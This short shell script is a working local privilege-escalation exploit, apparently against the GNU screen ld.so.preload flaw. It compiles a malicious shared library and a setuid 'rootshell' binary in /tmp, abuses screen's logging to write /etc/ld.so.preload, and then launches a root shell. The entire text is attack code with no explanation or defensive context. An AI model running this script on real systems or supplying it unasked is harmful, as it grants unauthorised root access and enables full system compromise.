# Create libhax.c
cat << 'EOF' > /tmp/libhax.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor))
void dropshell(void) {
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
}
EOF
# Create rootshell.c
cat << 'EOF' > /tmp/rootshell.c
#include <stdio.h>
int main(void) {
setuid(0); setgid(0); seteuid(0); setegid(0);
execvp("/bin/sh", NULL);
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell